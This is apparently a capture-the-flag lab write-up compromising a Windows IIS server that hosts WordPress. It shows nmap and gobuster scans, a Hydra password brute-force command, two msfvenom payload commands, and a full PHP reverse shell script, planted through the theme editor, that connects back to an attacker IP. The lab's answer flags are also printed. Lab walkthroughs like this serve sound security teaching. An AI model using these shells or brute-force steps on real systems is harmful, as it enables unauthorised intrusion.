Hack the machine
First, nmap scan:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
vladislav@Mac ~ % nmap -sV -sC 10.10.76.39
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-14 14:02 MSK
Nmap scan report for 10.10.76.39
Host is up (0.066s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_ Potentially risky methods: TRACE
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2022-12-14T11:03:31+00:00; 0s from scanner time.
| rdp-ntlm-info:
| Target_Name: RETROWEB
| NetBIOS_Domain_Name: RETROWEB
| NetBIOS_Computer_Name: RETROWEB
| DNS_Domain_Name: RetroWeb
| DNS_Computer_Name: RetroWeb
| Product_Version: 10.0.14393
|_ System_Time: 2022-12-14T11:03:26+00:00
| ssl-cert: Subject: commonName=RetroWeb
| Not valid before: 2022-12-13T10:57:33
|_Not valid after: 2023-06-14T10:57:33
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.58 seconds
We can see an http server running on port 80. Let’s find hidden subpages:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
vladislav@Mac ~ % gobuster dir -u http://10.10.76.39 -w share/wordlists/dirs/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.76.39
[+] Method: GET
[+] Threads: 10
[+] Wordlist: share/wordlists/dirs/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/12/14 14:19:09 Starting gobuster in directory enumeration mode
===============================================================
/retro (Status: 301) [Size: 148] [--> http://10.10.76.39/retro/]
/Retro (Status: 301) [Size: 148] [--> http://10.10.76.39/Retro/]
A web server is running on the target. What is the hidden directory which the website lives on?
/retro
The website:
In the bottom of the site we can find link Log In page for Wordpress. Let’s suppose that the login is Wade
as it’s the name of the author. If we enter it we can see that Wordpress doesn’t say that this user doesn’t exist. So let’s bruteforce the password using Hydra.
First, we need to capture http POST using Burp Suite
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /retro/wp-login.php HTTP/1.1
Host: 10.10.76.39
Content-Length: 82
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.76.39
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.95 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.10.76.39/retro/wp-login.php
Accept-Encoding: gzip, deflate
Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: wordpress_test_cookie=WP+Cookie+check
Connection: close
log=user&pwd=pass&wp-submit=Log+In&redirect_to=%2Fretro%2Fwp-admin%2F&testcookie=1
Hydra bruteforce:
1
hydra -l Wade -P share/wordlists/rockyou.txt 10.10.76.39 http-post-form "/retro/wp-login/:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=%2Fretro%2Fwp-admin%2F&testcookie=1:S=302"
However, it doesn’t succeed in it.
Searching for something unevident on the website I found the second post contains a comment:
1
Leaving myself a note here just in case I forget how to spell it: parzival
Finally, we can log into the wordpress admin panel. Typical way would be to upload a template/plugin with reverse shell:
1
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.9.32.237 LPORT=4444 -f raw > rev_shell.php
I tried uploading it to plugins, but it failed. So then I tried theme editor.
I used the following PHP reverse shell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.9.32.237'; // CHANGE THIS
$port = 4444; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
After uploading it as a 404.php we go to http://10.10.76.39/retro/wp-content/themes/90s-retro/404.php
. However, it didn’t work neither. It gave some strange mistake, so I used another reverse php shell:
1
msfvenom -p php/reverse_php LHOST=10.9.32.237 LPORT=4445 -f raw > phprev.php
Finally, we got our reverse shell:
1
2
whoami
nt authority\iusr
After that I found that we can use RDP to connect.
On the Desktop we can find user.txt
file.
user.txt
3b99fbdc6d430bfb51c72c651a261927
First, I found a deleted file in Recycle Bin, but it’s useless.
There is a hint to check what user has been doing before. I checked powershell history, but there was nothing. Next I checked Google Chrome history:
That’s a hint! We need to use the CVE-2019-1388 vulnerability. Here’s a guide on how to exploit it.
Here we see that the file we found in the bin wasn’t useless. Going through the guide we can get the root flag.
root.txt
7958b569565d7bd88d10c6f22d1c4063